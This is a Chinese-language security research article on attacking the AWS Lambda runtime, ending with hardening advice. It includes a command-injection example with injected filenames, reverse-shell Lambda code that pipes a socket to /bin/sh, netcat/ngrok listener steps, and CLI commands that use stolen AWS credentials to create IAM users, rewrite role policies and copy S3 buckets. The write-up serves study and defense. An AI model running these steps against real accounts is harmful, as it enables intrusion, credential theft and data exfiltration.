一、引言
笔者在上一篇文章 《Serverless安全研究— Serverless安全风险》中介绍了责任划分原则。对于开发者而言, Serverless因其服务端托管云厂商安全能力强的特点,实际上降低了总体的安全风险。
如各位读者所知,主流的公有云Serverless提供商,像AWS Lambda、Google Cloud Functions、Microsoft Azure Functions,均有一套自管理的函数运行环境及相应安全机制,那么这些不同厂商的函数运行环境是否安全也是业界关注的一大问题。笔者近期就此问题进行了研究,并通过实验发现这些云厂商的函数运行时都可通过服务端不安全的配置与函数已知漏洞结合去进行攻击,例如开发者在编写应用时可能因为一个不安全的函数用法加之为此函数配置了错误的权限导致敏感数据遭至大量泄漏,或在编写Serverless应用时引入了不安全的第三方库导致越权攻击,在这些场景中,攻击者会不断对云厂商提供的运行时环境进行探测以寻求脆弱点并进行利用。
由于篇幅限制,笔者只选择了相对热度较高的AWS Lambda运行时攻击进行说明,希望可以给各位读者带来思考。
二、背景知识
2.1短生命周期特性
假设攻击者以某种方式获取到了Serverless函数运行环境的shell权限,传统云计算模式下,由于服务器长时间处于运行状态,攻击者有大量时间去思考如何进行持久化攻击。在服务端安全防护不到位的情形下,攻击者可以运行恶意进程长达数月或数年,从而对敏感数据进行持久性窃取;Serverless模式下,函数运行时间和存活时间是短暂的,访问凭证的生命周期也是短暂的,2020年的RSA大会上,来自Puma Security的首席安全研究员Eric Johnson分享了关于如何防护Serverless架构的议题《Defending Serverless Infrastructure in the Cloud》[6],其中作者针对AWS Lambda、Google Cloud Functions、Microsoft Azure Functions三个主流Serverless云厂商的函数存活时间和访问凭证生命周期进行了统计,如下图所示
图1. 主流Serverless云厂商函数存活生命周期统计
图2. 主流Serverless云厂商函数访问凭证生命周期统计
由图1,图2所示,AWS Lambda的函数存活时间及访问凭证生命周期分别为11分钟和12小时,相比于Azure Functions和GCP Functions均要长一些,这也从侧面反映了AWS Lambda在冷启动问题上处理的较好,用户体验更佳。
以上我们得知Serverless模式的短生命周期特性,那么回过头来我们需要思考的问题是:攻击者如何在短时间内对AWS Lambda运行时进行攻击;攻击者是否只能在11分钟内进行攻击;如果攻击过程耗时较长超出了函数默认设置,在函数运行环境重启后,之前的攻击是否仍然生效;如何拿到访问凭证及如何去利用;针对以上问题,我们需要逐个探索并验证才能得到最终答案。
2.2Lambda元数据
Lambda拥有非常完善的文档体系[11],从中我们可以得到很多重要内容,例如Lambda函数源码路径为“/var/task”; Lambda的账户凭证是以环境变量的方式存储;AWS Lambda的文件系统因为安全原因设置为只读,但其为了追求更好的冷热启动效果,建立了一个可写的缓存路径“/tmp”[7];Lambda的默认用户为sbx_userxxxx等等。
2.3AWS CLI
AWS CLI是用于统一管理AWS服务和资源的工具,为开源项目[19],除了在AWS控制台上管理Lambda函数,我们也可以在终端使用AWS CLI完成。
2.4AWS IAM
Identity and Access Management(IAM)为AWS账户的一项功能,IAM可使用户安全的对AWS资源和服务进行管理,通常我们可以创建和管理AWS用户和组,并设置其对资源的访问权限,例如我们在AWS 上部署了一个Lambda函数, 此函数需要对AWS的S3资源进行访问,所以我们要向Lambda函数授予访问S3的权限。IAM配置在AWS中通常展现为一个JSON文件:
{
"Version":"2012-10-17",
"Statement": [
{
"Effect":"Allow",
"Action":"*",
"Resource":"*"
}
]
}
以上策略为AWS的AdministratorAccess策略,其提供对AWS服务和资源的所有访问权限。需要注意的是,策略中将资源(Resource)和行为(Action)配置为“*”实际上是非常危险的方式,一旦攻击者拥有了访问凭证,便可通过AWS CLI对IAM进行创建、删除、修改等操作,例如:
##创建一个IAM用户
aws iamcreate-user--user-name xxx
##创建IAM登录方式
aws iamcreate-login-profile--user-namexxx --password xxx
##为IAM用户创建访问Token
aws iamcreate-access-key--user-name xxx
##将IAM用户添加至Admin用户组
aws iamadd-user-to-group--user-namexxx --group-name Admins
三、攻击模型
笔者近期针对AWS Lambda调研了常用的运行时攻击手法,总结并绘制了一幅攻击模型图,如下所示:
图3. AWS Lambda运行时攻击模型
由以上攻击模型我们可以看出攻击者只要拿到运行时的shell权限,便可以针对「可写目录」、「环境变量」、「AWS Lambda资源」、「AWS IAM」加以利用以进行一系列攻击,所以拿到shell权限为整个攻击流程的第一步也是最为核心的一步,由上图不难看出shell权限的获取分以下两种攻击场景:
1. 攻击者利用开发者编写的代码漏洞获取shell权限
攻击流程如下:
开发者编写的Lambda函数代码含有漏洞,例如命令注入漏洞;
攻击者使用了此Lambda功能,通过不断探测及尝试发现了函数漏洞,并最终拿到shell权限;
通过终端或界面输入shell命令获得函数运行时的环境变量,通过AWS CLI结合IAM进行越权访问、隐私数据窃取;通过可写路径上传恶意脚本进行更高维度的攻击;
2. 攻击者恶意构造函数代码用于建立反向shell
攻击流程如下:
攻击者恶意构造应用程序(该函数用于成功的建立反向shell)并部署至AWS Lambda平台中;
攻击者通过提前构造好的请求在本地环境中触发已部署的Lambda函数,从而拿到shell权限;
攻击者通过运行时环境的可写目录写入恶意脚本,利用Lambda服务器充当僵尸主机对外进行DDoS攻击;
为了让读者对shell权限的获取过程有一个清晰的理解,笔者将再下一节进行详细介绍。
四、Shell权限获取
4.1攻击者利用Lambda函数漏洞场景下的shell权限获取
针对此类攻击场景(攻击模型章节中的场景一),我们试想一个聊天机器人的场景,开发者通过编写Lambda函数实现聊天机器人的自动回复功能,但在编写程序时错误的使用了python的os.popen()方法,导致了命令注入漏洞,漏洞代码[18]如下所示:
defreact(message, bot):
"""React to messages sent directly to the bot."""
try:
……
url = ……
try:
r = requests.get(url)
F = open("/tmp/" + filename,"w")
F.write(r.text)
F.close()
except Exceptionas e:
print("Could not write file because {e}".format(e=e))
try:
content = os.popen("cat /tmp/" + filename).read()##将用户输入查找的文件名不经任何校验当作字符串传入shell中,引发了命令注入漏洞
……
except Exceptionas e:
print(e)
print(content)
print(os.popen("ls /tmp").read())
slack_message ="Here"s the changelog you asked for: \n {changelog}".format(changelog=content)##将文件内容以changelog格式输出至屏幕
……
response = {
"statusCode":200,
……
}
return response
except Exceptionas e:
print(e)
由上述代码不难看出,攻击者只需对filename的内容进行简单构造便可以控制Lambda的运行时,例如攻击者可能会在输入端输入以下filename(此处通过python环境模拟聊天机器人UI界面操作):
>>> import os
>>>os.popen("cat /tmp/1.py").read()##攻击者将查看的文件名设置为“1.py”
"xxxxxxxxxxxxxxxxxxthisis just a testxxxxxxxxxxxxxxxxxxxxxxxx\n"
>>>os.popen("cat /tmp/1.py;ls -al").read()##攻击者将查看的文件名改为“1.py;ls-al“以获取当前目录
"xxxxxxxxxxxxxxxxxxthisis just a testxxxxxxxxxxxxxxxxxxxxxxxx\n
total224
drwxr-xr-x 20 nsfocus nsfocus 4096 Nov 27 05:51 .
drwxr-xr-x 3root root 4096 Sep 16 2019 ..
drwxr-xr-x 2 root root 4096 Nov 24 06:44 .aws
-rw------- 1 root root 41940 Nov 24 12:03.bash_history
-rw-r--r-- 1 nsfocus nsfocus 220 Apr 4 2018 .bash_logout
……
>>>os.popen("cat /tmp/1.py;env").read()##攻击者将查看的文件名设置为“1.py;env”以获取当前环境变量
"xxxxxxxxxxxxxxxxxxthisis just a testxxxxxxxxxxxxxxxxxxxxxxxx
LESSCLOSE=/usr/bin/lesspipe%s %s
LANG=en_US.UTF-8
SUDO_GID=1000
DISPLAY=localhost:10.0
USERNAME=root
……
>>>os.popen("cat /tmp/1.py;id").read()##攻击者将查看的文件名设置为“1.py;id“以获取当前用户
"xxxxxxxxxxxxxxxxxxthisis just a testxxxxxxxxxxxxxxxxxxxxxxxx
uid=0(root)gid=0(root) groups=0(root)\n"
由以上代码中的filename输入及终端返回的输出可以看出此方法同样也适用于攻击Lambda运行时。一旦攻击者拿到了shell权限,再往后就是通过AWS CLI进行的一系列xxx操作了,具体见「攻击场景复现」部分。
4.2攻击者恶意构造Lambda函数场景下的shell权限获取
针对此类攻击场景(攻击模型章节中的场景二),笔者借鉴了Puma Security公司的开源项目serverless-prey[5],此项目以研究为目的,以攻击者视角模拟了真实被滥用的Serverless场景,为了让各位读者清晰的了解shell权限的获取过程,笔者搭建了实验环境,主要分为以下三个部分:
4.2.1 安装AWS CLI
AWS CLI有v1,v2两个版本,笔者安装的mac OS环境的v2版本,参照官方文档[9],安装命令如下:
curl"https://awscli.amazonaws.com/AWSCLIV2.pkg" -o"AWSCLIV2.pkg"
sudoinstaller -pkg AWSCLIV2.pkg -target /
安装完成后,我们需要配置AWS CLI以便与我们的Lambda账户进行正常通信:
$awsconfigure
AWSAccessKey ID [None]: 「AWS账户的访问ID」
AWSSecretAccess Key [None]: 「AWS账户的AWS SecretAccess Key」
Defaultregionname [None]: 「AWS账户的所在区域」
Defaultoutputformat [None]: 「AWS账户的所在区域」
AWS账户信息可在创建IAM用户时查看,如下图所示:
图4 AWS账户信息
配置完成后我们尝试通过AWS CLI与AWS服务端进行通信,以下命令含义为列出AWS账户中所有的S3存储桶资源,我们可以看到配置已生效:
图5 AWS CLI示例
4.2.2 部署panther
首先在本地部署serverless-prey项目:
gitclone https://github.com/pumasecurity/serverless-prey.git
切换到该项目下的AWS Lambda目录(panther目录):
图6 AWS Lambda NodeJS项目
我们可以看到panther路径下包含一个NodeJS项目,下一步需要安装NodeJS项目的依赖包:
npminstall --arch=x64 --platform=linux --target=12.13.0 sharp
图6中笔者已经安装了node_modules依赖包,在项目部署至AWS Lambda之前,我们不妨看看这个函数中的内容[10],由于函数较长,笔者只抽出核心部分:
if (event.queryStringParameters) {
host = event.queryStringParameters.host;//获取Get请求的host参数
port = event.queryStringParameters.port;//获取Get请求的port参数
}
if (!host || !port) {
writeLog(2,"Invalid request: Missing hostor port parameter.");
return {
statusCode:400,
body:JSON.stringify({
message:"Must provide the host andport for the target TCP server as query parameters.",
}),
};
}
const portNum =parseInt(port,10);
const sh = cp.spawn("/bin/sh", []);
const client =new net.Socket();//建立一个socket连接
try {
awaitnewPromise((resolve, reject) => {
client.connect(portNum, host,() => {//连接host和port组成的url
client.pipe(sh.stdin);//建立反向shell操作
sh.stdout.pipe(client); );//建立反向shell操作
sh.stderr.pipe(client); );//建立反向shell操作
});
可以看出此函数的主要目的为通过建立反向shell连接攻击者的机器。
除了创建该函数之外,为了模拟真实攻击环境,应用程序中还包含AWS的S3存储桶及API Gateway等资源,具体可查看项目中的resource.yaml①和serverless.yaml②文件,紧接着我们将此项目部署至AWS Lambda:
root~/work/project/reverse_lambda/serverless-prey/pantherexport AWS_PROFILE=default##导入AWS的配置项用AWS CLI使用
root~/work/project/reverse_lambda/serverless-prey/panther exportWITH_BUCKET=true ##创建受保护的AWS存储桶,Lambda执行角色可以访问
root~/work/project/reverse_lambda/serverless-prey/panther exportBUCKET_SUFFIX=$(uuidgen | cut -b 25-36 | awk "{print tolower($0)}") true ##创建受保护的AWS存储桶,Lambda执行角色可以访问
root~/work/project/reverse_lambda/serverless-prey/panther npx serverlessdeploy ##部署应用程序
Serverless:Packaging service...
Serverless:Excluding development dependencies...
Serverless:Creating Stack...
Serverless:Checking Stack create progress...
........
Serverless:Stackcreate finished...
Serverless:Uploading CloudFormation file to S3...
Serverless:Uploading artifacts...
Serverless:Uploading service panther.zip file to S3 (1.59 KB)...
Serverless:Validating template...
Serverless:Updating Stack...
Serverless:Checking Stack update progress...
.............................................
Serverless:Stackupdate finished...
ServiceInformation
service:panther
stage:dev
region:us-east-1
stack:panther-dev
resources:16
apikeys:
panther:9KRZWx5yc47K3D3yuxy6m4fanDJrJx6h50jS0vey ##API密钥,非常重要,用于API请求时携带
endpoints:
GET- https://lbfq2wa99e.execute-api.us-east-1.amazonaws.com/dev/api/Panther ##API请求路径
functions:
panther:panther-dev-panther
layers:
None
S3Sync: Syncingdirectories and S3 prefixes...
...........
S3Sync: Synced.
Serverless:Runthe "serverless" command to setup monitoring, troubleshooting andtesting.
我们可以在AWS Lambda控制台中查看应用程序是否部署成功:
图7 AWS Lambda 应用部署全貌
如上图所示,所有的资源已部署完成。
4.2.3 建立反向Shell
由于笔者的本地环境已经安装了Netcat和Ngrok,故直接进行Netcat侦听:
~/work/project/reverse_lambda/serverless-prey/panther nc -l4444
为了AWS Lambda可以访问到我们本地环境,将本地端口映射至互联网,如下所示:
~/work/project/reverse_lambda/serverless-prey/panther ngrok tcp4444
图8. 通过Ngrok映射互联网
由上图可以看出,Ngrok映射的临时互联网地址为2.tcp.ngrok.io:11978。下一步就是最重要的反弹操作了,我们通过构造URL触发Lambda函数,同时观察Netcat窗口,如下图所示:
图9 建立反向shell过程
拿到运行时的shell权限后我们发现,仅仅30秒后连接就自动断开了,如下图所示:
图10 请求超时
仔细观察是因为API网关调用超时时常默认为30秒,函数的超时时常也为30秒,所以每隔30秒就需要建立一次反向shell,为了避免频繁断开,我们可通过AWS CLI将函数超时时常设置为最大值15分钟:
root~/work/project/reverse_lambda/serverless-prey aws lambdaupdate-function-configuration \
--function-name panther-dev-panther \
--timeout 900#设置超时时常为15分钟
{
"FunctionName":"panther-dev-panther",
"FunctionArn":"arn:aws:lambda:us-east-1:655125143201:function:panther-dev-panther",
"Runtime":"nodejs12.x",
"Role":"arn:aws:iam::655125143201:role/panther-dev-us-east-1-lambdaRole",
"Handler":"handler.panther",
"CodeSize": 1585,
"Description":"",
"Timeout": 900,##执行完后根据终端输出可以看出超时时长已更改为15分钟
"MemorySize": 1024,
"LastModified":"2020-11-24T09:02:45.544+0000",
"CodeSha256":"62CcxpIHuJGTRRtg7zaopnUiCzVYAmb4l1LfBuqPkL8=",
"Version":"$LATEST",
"TracingConfig": {
"Mode":"PassThrough"
},
"RevisionId":"1ab160cf-6953-464d-9bd6-0d09cbe5fe06",
"State":"Active",
"LastUpdateStatus":"Successful"
}
五、攻击场景复现
上述的攻击者模型介绍中我们知道当攻击者拿到了shell权限后便可进行一系列攻击,其中主要通过对“可写目录”、“AWS IAM”、“环境变量”这三者的利用达到最终目的。本章笔者通过实验做了一些验证工作,尝试复现攻击过程,主要验证内容为“未授权访问”、“窃取敏感数据”、“植入恶意木马”这三类攻击,详细内容见下文。
5.1未授权访问攻击
在拿到了shell权限后,我们可以查看Lambda的环境变量,由于输出内容较多,笔者仅截取了部分内容,如下图所示:
图11 运行时环境变量
其中我们发现了访问凭证相关的环境变量,笔者进行筛选后输出如下:
图12 访问凭证环境变量
图12我们获得了AWS_SESSION_TOKEN、AWS_SECRET_ACCESS_KEY、AWS_ACCESS_KEY_ID三个非常重要的访问凭证,这些变量在接下来的攻击中起着至关重要的作用。我们首先在不含有访问凭证的环境中尝试查看当前AWS账户拥有的角色:
root@microservice-master:~#aws iam list-role
An error occurred(InvalidClientTokenId)when calling the ListRolesoperation: The security tokenincludedin the request is invalid.
可以看出客户端访问由于未携带token导致无法正常调用,于是我们将环境变量导入本地环境:
exportAWS_ACCESS_KEY_ID=<ENTER KEY ID>
exportAWS_SECRET_ACCESS_KEY=<ENTER SECRET ACCESS KEY>
exportAWS_SESSION_TOKEN=<ENTER SESSION TOKEN>
再次查看AWS账户拥有的角色,由于输出内容较多,笔者只截取了重要部分,如下所示:
root@microservice-master:~#aws iam list-roles
{
"Path": "/",
"RoleName": "panther-dev-us-east-1-lambdaRole",
"RoleId": "AROAZRCEAL2QUSHRED5QI",
"Arn":"arn:aws:iam::655125143201:role/panther-dev-us-east-1-lambdaRole",
"CreateDate": "2020-11-24T03:01:47+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "",
"MaxSessionDuration": 3600
},
在本实验中,笔者想尝试利用访问凭证更改现有的角色策略以达到未授权访问的目的。主要步骤如下:
1. 查看「panther-dev-us-east-1-lambdaRole」角色中包含的策略:
root@microservice-master:~# aws iam list-role-policies--role-name panther-dev-us-east-1-lambdaRole
{
"PolicyNames": [
"dev-panther-lambda"
]
}
(END)
可以看出「panther-dev-us-east-1-lambdaRole」中含有一个策略「dev-panther-lambda」;
2. 对策略的内容进行查看:
root@microservice-master:~#aws iam get-role-policy --role-name panther-dev-us-east-1-lambdaRole--policy-name dev-panther-lambda
{
"RoleName": "panther-dev-us-east-1-lambdaRole",
"PolicyName": "dev-panther-lambda",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"logs:CreateLogStream",
"logs:CreateLogGroup"
],
"Resource": [
"arn:aws:logs:us-east-1:655125143201:log-group:/aws/lambda/panther-dev*:*"
],
"Effect": "Allow"
},
……
]
}
}
从以上输出来看,我们已经得到了「dev-panther-lambda」的策略全貌;
3. 尝试修改函数日志的写入配置,如下所示,Effect由之前的Allow改为了Deny:
{
"Action": [
"logs:CreateLogStream",
"logs:CreateLogGroup"
],
"Resource": [
"arn:aws:logs:us-east-1:655125143201:log-group:/aws/lambda/panther-dev*:*"
],
"Effect": "Deny" ##由ALLOW更改为Deny
},
4. 通过命令行进行策略修改,其中test.json为更改后的策略文件:
root@microservice-master:~# aws iamput-role-policy --role-name panther-dev-us-east-1-lambdaRole --policy-namedev-panther-lambda --policy-document file://./test.json
此时,如果受害者想通过界面查看函数的访问日志,却发现已经停止了访问权限:
图13 账户遭到权限篡改
本实验只是简单的对角色策略进行了修改,并未造成太大影响,试想在真实场景中,攻击者往往是不留情面的,在拿到访问凭证的前提下,可对策略进行任意增删查改,从而达到未授权访问的目的。
5.2窃取敏感数据
攻击者通过终端执行命令获取到AWS账户下的所有S3存储桶:
root@microservice-master:~#aws s3 ls
2020-11-1616:35:16 calbeebucket
2020-11-1616:36:57 calbeebucket-resized
2020-11-2411:01:48 panther-9e575f5c6886
2020-11-2411:00:54panther-dev-serverlessdeploymentbucket-1spdo3jm0znph
通过执行命令将S3存储桶的所有内容同步至本地环境:
root@microservice-master:~# aws s3 sync"s3://panther-9e575f5c6886" ~/panther
download:s3://panther-9e575f5c6886/assets/panther.jpgto ../../../../panther/assets/panther.jpg
可以看到S3存储桶的内容已经复制到笔者的本地环境了,我们打开文件看看里面有什么内容:
图14 窃取S3中的敏感数据
虽然上例只是一张图片,但如果存储的数据是密钥或大量隐私数据,攻击者可以轻松达到窃取隐私数据的目的,危害巨大。
5.3植入恶意木马
通常云厂商为了达到更好的冷热启动效果,会增加缓存以保存当前的函数运行时状态,AWS Lambda也不例外,只要查阅其官方文档不难发现AWS Lambda在运行环境中对“/tmp”目录开放了写权限,目的是为了更佳的缓存效果,为了验证“/tmp”目录可写,笔者做了一些尝试,如下所示:
root ~/work/project/reverse_lambda/serverless-prey/panther nc -lvvp4444
Listeningon any address4444 (krb524)
Connection from127.0.0.1:54774
echo"Malware" > malware.sh##写入恶意脚本
/bin/sh: line1: malware.sh: Read-only file system##路径为只读
echo"Malware" > /tmp/malware.sh##写入恶意脚本至“/tmp”目录
ls /tmp/malware.sh##查看恶意脚本
/tmp/malware.sh##写入成功
echo"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"> /tmp/malware.sh##写入恶意字符串至脚本中
cat /tmp/malware.sh##查看恶意脚本
X5O!P%@AP[4\PZX54(P^)7CC)7}-STANDARD-ANTIVIRUS-TEST-FILE!+H*##正常输出
经笔者实验发现“/tmp”目录确实可写,攻击者可以通过上传恶意脚本对运行时发起攻击,这使笔者提出两个疑问:
1. 如果shell连接断开,之前上传的恶意shell是否仍然存在?
2. 攻击者拿到了shell权限后留给其攻击时间有多久?
为了验证以上两个问题,笔者做了些尝试,验证步骤如下:
1. 将函数超时时间设置为30秒:
root ~/work/project/reverse_lambda/serverless-prey aws lambdaupdate-function-configuration --function-nameCreateThumbnail --timeout 30
2. 在拿到shell权限后向“/tmp”目录写入测试文件并查看写入成功:
root ~/work/project/reverse_lambda/serverless-prey/panther nc -lvvp4444
Listening onany address4444(krb524)
Connectionfrom127.0.0.1:58470
echo"Malware"_test >/tmp/malware_test.sh
cat /tmp/malware_test.sh
3. 30秒后shell断开连接,再次建立反向shell并查看“/tmp“目录下的malware_test.sh, 发现之前写入的文件依然存在:
图15 shell断开后查看文件是否存在
4. 每隔1分钟重复步骤3查看文件是否存在,笔者发在持续进行至11分钟左右时查看malware_test.sh文件失败了:
Listeningon any address 4444(krb524)
Connectionfrom 127.0.0.1:58470
echo"Malware"_test >/tmp/malware_test.sh
cat/tmp/malware_test.sh
Malware_test
Totalreceived bytes: 13
Totalsent bytes: 69
root~/work/project/reverse_lambda/serverless-prey/panther nc -lvvp 4444
Listeningon any address 4444(krb524)
Connectionfrom 127.0.0.1:58564
cat/tmp/malware_test.sh
Malware_test
Totalreceived bytes: 13
Totalsent bytes: 25
root~/work/project/reverse_lambda/serverless-prey/panther nc -lvvp 4444
Listeningon any address 4444(krb524)
Connectionfrom 127.0.0.1:58760
cat/tmp/malware_test.sh
Malware_test
…………##10分钟后再次查看
root~/work/project/reverse_lambda/serverless-prey/panther nc -lvvp 4444
Listeningon any address 4444(krb524)
Connectionfrom 127.0.0.1:58760
cat/tmp/malware_test.sh
Nosuch file or directory ##文件已消失
由该实验我们可以得出两个结论,首先shell环境断开后再次查看之前添加的恶意脚本仍然存在,另外攻击者有大致11分钟的时间发动一次完整的攻击,这对于经验丰富的攻击者来说足够了。
六、防护建议
通过本文介绍,我们可以看出攻击者在攻击过程中均需要与不安全的配置(IAM)结合利用才能达到最终目的,因此笔者认为相应安全防护应当从以下三方面考虑:
1. 限制函数策略
开发者首先应当限制函数策略,给予其适当的访问权限,删除过于宽松的权限,这样即便拿到了访问凭证也无法对所有资源进行访问。
2. 使用SCA(Software Composition Analysis)解决方案
SCA的原理是对现有应用程序中使用的开源依赖项进行统计,通过分析程序中依赖项的直接或间接关系得出依赖项的开源许可证及其详细信息,其中主要包括依赖项是否存在安全漏洞,最后根据漏洞数量和漏洞严重程度决定应用程序是否可以继续运行,目前市面上主流的SCA产品有OWASP Dependency Check[12]、SonaType[13]、Snyk[14]、Bunder Audit[15],其中SonaType、Snyk、Bunder Audit均为开源项目,感兴趣的读者可以尝试。
3. 使用监控资源
Serverless场景下,应用程序的生命周期通常较短,而我们需要时刻了解函数的调用来源,这使安全监控变的更为重要,笔者建议各位读者使用AWS Lambda的监控资源,例如CloudWatch及CloudTrail等, 通过细心查看日志信息我们可以细粒度的还原一次Lambda函数的触发过程,从而发现攻击痕迹。
七、总结
本文笔者对AWS Lambda运行时环境的攻击手法进行了简单介绍,内容纯以研究为目的,读者若有任何问题欢迎提出,互相交流学习。
八、参考文献
[1]. serverlessDays Nashville 2020 - AttackingServerless Servers by Brandon Evans https://www.youtube.com/watch?v=SV69iUrYlTQ
[2]. Hacking Serverless Runtimes: Profiling AWSLambda Azure Functions & More
https://www.youtube.com/watch?v=GZBiz-0t5KA&t=1722s
[3]. Attacking Serverless Servers Reverse Engineeringthe AWS, Azure, and GCP Function Runtimes | SANS
https://www.youtube.com/watch?v=MM5hWTZd_nQ
[4]. Gone in 60 milliseconds: Offensivesecurity in the serverless age (Rich Jones)
https://www.youtube.com/watch?v=byJBR16xUnc
[5]. https://github.com/pumasecurity/serverless-prey/tree/main/panther
[6]. Defending Serverless Infrastructure in theCloud
https://www.youtube.com/watch?v=tlZ2PIXTHxc
[7]. https://d1.awsstatic.com/whitepapers/Overview-AWS-Lambda-Security.pdf
[8]. https://aws.amazon.com/cn/cli/
[9]. https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2-mac.html
[10]. https://github.com/pumasecurity/serverless-prey/blob/main/panther/handler.js
[11]. https://docs.aws.amazon.com/lambda/index.html
[12]. https://owasp.org/www-project-dependency-check/
[13]. https://www.sonatype.com/
[14]. https://snyk.io/
[15]. https://github.com/rubysec/bundler-audit
[16]. https://github.com/dagrz/aws_pwn
[17]. https://github.com/ThreatResponse/poor-webhook
[18]. https://github.com/ThreatResponse/poor-webhook/blob/master/mention.py
[19]. https://github.com/aws/aws-cli
[20].https://github.com/pumasecurity/serverless-prey/blob/main/panther/resources.yml
[21].https://github.com/pumasecurity/serverless-prey/blob/main/panther/serverless.yml
内容编辑:星云实验室 浦明 责任编辑:王星凯
声明:本文来自绿盟科技研究通讯,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。